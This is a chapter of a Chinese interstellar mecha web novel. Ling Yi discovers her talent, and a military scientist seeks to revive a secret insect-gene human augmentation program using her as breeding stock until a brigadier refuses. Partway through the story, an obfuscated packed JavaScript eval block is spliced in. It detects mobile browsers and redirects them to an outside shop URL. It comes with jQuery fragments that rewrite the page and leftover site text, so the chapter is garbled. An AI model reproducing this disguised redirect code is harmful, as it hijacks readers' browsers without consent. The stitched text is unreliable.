27. 第 27 章

作品:《横刀[星际]

    机甲外发生的一切凌一都不知道,也不关心,她正沉浸在从出生起最阳光明媚的情绪里。


    凌一记事很早,这对她而言不是什么好事,因为她差不多从刚出生的时候就知道,凌焰,这个把自己生下来的女人,并不喜欢自己。


    好在联盟孩子普遍和ai接触比父母多,课程学习、作业辅导、娱乐聊天,全都能在星网一键通关,凌一得以拥有一个平凡的童年。


    平凡,意味着寂寞。


    凌一对未来最乐观的幻想是女承母业,做一个农夫。


    但是她喜欢种田吗?


    当然不。


    只是一份稳定的收入可以让她不至于沦为“无收入者”罢了。


    没有人在意、没有人喜欢……不被任何人看到。


    凌一其实一点也不喜欢自己的生活,她也想年少成名、也想做出一番事业,也想让自己的名字悬挂在每一个人类的头顶上方。


    凌焰看出来她可笑的野望,告诉她,她的天赋必须驾驶机甲才能发挥、她这个人才真正有价值。


    凌焰有自己的目标,她没兴趣帮凌一实现梦想。


    在最孤独的时候,凌一哭过,也胡言乱语过,她不知道向谁祈祷,许愿说,只要命运能让她崭露头角,哪怕只是所有伟业的过客,短暂辉煌后就消弭无踪,她也愿意。


    可能是神明听到了她的祈祷,冯家、风行止来到了z83。


    凌一从没有想过不来新首都,她的确害怕,害怕再也见不到凌焰、害怕自己会轻易死去,但她知道自己一定会来的。


    她渴望见识不一样的风景,她愿意用性命赌这一场。


    冯家给她的比她想象中还要好,她被送到法洛斯,能接触到这个时代最快捷的上升渠道——战场。


    更好的是,她终于有机会知道自己的天赋是什么了。


    至于这会不会带来危险……


    没有关系!


    做一个有价值的人,被人看见,比黯淡无光的安全更重要。


    凌一喜欢背教科书,但她从来不喜欢看流行小说,那些重生的主角、穿越的天才,总是被伤害后、被迫踏上成长和光辉的道路。


    她不需要被迫!


    不需要耻辱来作为奋进的理由!


    她就是想要被万众瞩目,她想知道权力到底是什么滋味、想随心所欲活一次、想知道掌控命运挑选未来究竟是何种感受。


    生平第一次,凌一知道了自己比别人的长处在哪里。


    她竟然在某方面真的是一个天才。


    这份喜悦足够驱散她年少时候所有的忧郁心事了。


    她想到冯家,想到法洛斯,原来他们都是为了这份能力……


    她早早就上了桌子,却不清楚自己到底拥有什么筹码,现在她知道了。


    这份筹码肯定会带来新的危险,但凌一不打算藏锋。


    她没有其他底牌,就一定要把仅有的一张最大化。她的天赋必须和机甲挂钩,而机甲作为顶级资源掌握在联盟最高层的手中,她要成长,就避不开这些人这些势力。


    那就不避。


    她已经知道这条路是什么了,接下来,就是拼尽一切、走下去。


    凌一操控的第二代尼姆机甲缓缓立起,身后细长的尾巴像鞭子一样挥舞起来,再狠狠抽下去,在地板上留下一条发白的细痕。


    在场所有人都看出了凌一的炫耀,莫里斯低低笑了一声,把控制权转给自己的助手,自己转身走上高台。


    脚步声惊动了高高在上的观众,风行止、简维安、戴胜……最后是希尔德,他们依次转过身,看着兴奋到发红的莫里斯。


    莫里斯向希尔德行了一礼:


    “准将,”她慢慢地说,品尝着失而复得的胜利滋味,“特殊资产回收与再开发部门莫里斯少校,向您请求重启‘恩奇都’计划。”


    莫里斯的异能是常见的分析类,但具体的能力就不常见了,识别者给出的详细描述为【跨物种破解遗传密码并进行初步融合设计】,这是天生的遗传学家,她后来的努力也没有辜负自己的天赋。


    分析异能在第三纪元是“聪明”的代言词,莫里斯在心中又过了一遍自己的计划,再次确定,眼下的时机,的确是所有可能性中的最佳选择。


    恩奇都计划属于军方绝密项目,知道的人少,意味着它的开启只需要个别人的点头。


    希尔德,所有副校长里最激进的一位,曾经的恩奇都计划就由他支持启动。


    恩奇都计划,以虫族的基因序列改造人体,使人体获得更强大的力量、耐力和神经操控功能。


    虫族没有大脑,他们的神经构造也与人类不同,人类的神经会集中在脊柱、而后通往大脑,虫族则是在关键关节和器官簇内部,都嵌有次级神经节,它们作为分步处理器,能以最快的速度处理局部传感信息,并下达微调命令。


    虫族的反应更快,对信息的接受更细微,处理得更准确,这正好是升级机甲功能的关键,因此有了恩奇都计划,特殊资产回收与再开发部门希望以这种方式强化人体。


    实验成功了。


    自愿接受改造的第一批战士身上出现了神经蕾,这其实就是虫族的次级神经节,使人体接收更多的信息、更快地做出最准确的反应。


    以凌一为例,她现在对自己“尾巴”的了解是很恐怖的,她能清晰感受到每一个关节的碰撞摩擦、每一个受力细节的变化。这些信息不会冲垮她的大脑,相反,能让她随心所欲地使用这条外接的“尾巴”。


    这是虫化人才能实现的奇迹。


    人类对于疼痛的认知,除了从基因延续下来的“厌恶”“亲近”和“远离”反应外,剩下的认知都是需要后天习得的。烫,是接触到火;尖锐,是有利器;红肿热,大概率是炎症作祟。这些感受复杂、多变,人类需要学习才能识别这些疼痛信息所代表的含义。


    这种学习能力很高级,但疼痛是会被人体耐受的,身体会逐渐提高阈值,它不能时刻处在紧张状态。


    神经接入装置因此存在会逐渐不敏感的问题,这也是机甲战士们需要不时远离战场的又一重要原因:身体的修复需要时间,不能让神经完全耐受痛觉。


    这反复适应的过程当然是痛苦的,而虫化战士连这一点也解决了:


    神经蕾是他们身体的一部分,他们不需要通过耐受来操纵机甲。


    但是。


    每一个结局悲伤的故事总要有一个“但是”。


    莫里斯的老师是恩奇都计划的主导者,她也是第一个发现虫化人缺陷的人。


    虫化人接受了虫族的基因序列,尽管科学家们已经将这段序列减少到只剩下神经连接功能,但依然没有能完全擦去虫族的影响。


    虫化人在彻底激发神经蕾后,会开始无法逆转的彻底虫化——他们接入了虫群意识。


    虫化人开始对人类的一切不感兴趣,逐渐不记得自己是谁,在战场上,他们无法实施有效攻击,甚至也不能废物利用潜入虫族作为间谍。


    因为虫子是不承认他们作为同类的。


    第一批虫化战士,在战场上束手就擒,被他们意识里的“同族”屠戮殆尽。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199835|195669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    恩奇都计划被叫停,众多优秀战士的死亡需要有人来负责,莫里斯的老师引咎自尽,保下同僚与学生。这个项目的一切被封存,直到祖里在z83进行了更大规模的平民实验,直到凌一被冯家发现。


    观察室里一片死寂,只有莫里斯在滔滔不绝:


    “虫化人是无法将神经蕾传递到下一代的,之前的实验证实了这一点,但凌一的母亲做到了。这是新的变化,虫族基因和人类基因完美耦合了。”


    “我研究凌一的基因片段已经有半年,我有理由做出推断,凌一就是最适合的母体,她会成为未来完美虫化战士的母亲。”


    资料,点击,分享。


    “只要给我一个机会,让我使用凌一,我愿意以性命担保——”


    希尔德打断她:


    “如果不成功呢?现在就有一个完美的战士,为什么要废掉她去制造她的残缺版本?”


    莫里斯从知道凌一存在的瞬间就在准备这番演讲,她不急不慢地说:


    “我们需要不止一个凌一,就算我无法复制她身上的奇迹,她的复制品和后代也比她一个人更有价值。”


    她有八成把握说服希尔德。


    希尔德是不会拒绝提升军方整体实力的建议的,牺牲一人造福人类,不仅是他倡导的理念,也是他践行的守则。


    希尔德参与了数十项与自己相关的实验与研究,身体因此不断被削弱,是在榜时间最短的一位准将,且因为实验有过不止一次生命危险。他还参与了基因研究,所有孩子都是基因编程的产物。


    风行止绝望地停止联系冯斯澜的尝试,她觉得自己不开口不行了:


    “凌一是冯家的人,”她苍白地强调,“法律规定,任何涉及人类参与的实验都必须经过本人和监护者的同意。”


    莫里斯看她:“不会伤害她的,她只是不能再继续训练、不能成为战士而已。虫化人完全激发神经蕾是很危险的,你也不想看着她的大脑被虫群意识占据吧?”


    风行止据理力争:“这种风险凌一入校的时候就被你亲自评估过,文件上还有你的签名,你说凌一进化得很完美,她不会出现彻底虫化。”


    莫里斯:“我说的是虫化风险很低,并不是不存在。凌一太珍贵了,我的项目比这里的训练更能保护她。”


    艾伯尼不发一言,她以标准军姿站在希尔德身后,没有对莫里斯这番拐弯抹角的针对做出任何反应。


    “还是说,”莫里斯扯了下嘴角,“冯家是想私藏这份独一无二的样本?哪怕她关乎游戏的结局、人类的未来?”


    风行止不敢说了,好在这时候冯斯澜终于收到消息,往这边赶来。


    冯家闭嘴,莫里斯的胜算又多了一成,她允许自己高兴一点点,用殷切的目光注视着希尔德:


    “这是为了全人类的——”


    “我不同意。”


    莫里斯下意识看向简维安,这个莫名喜欢凌一的助教让她很警惕,但这四个字却不是简维安说的。


    声音从身后传来,莫里斯回头,只见一个身材纤长、金发碧眼的美人款款而来,他大约三十多岁的年纪,目光清正,行动潇洒,连头发丝都透出“我是好人”的正派气场。


    六位副校长里最年轻的一位准将,苍梧。


    艾伯尼和深蓝小队全体敬礼,莫里斯不甘心地也行了礼,苍梧瞥了她一眼,声音悦耳,语气却异常强硬:


    “我不同意重启恩奇都计划。以更多人为虚无缥缈的借口去牺牲少数人——我不信任这种事。公正,才是法洛斯的原则和基石。”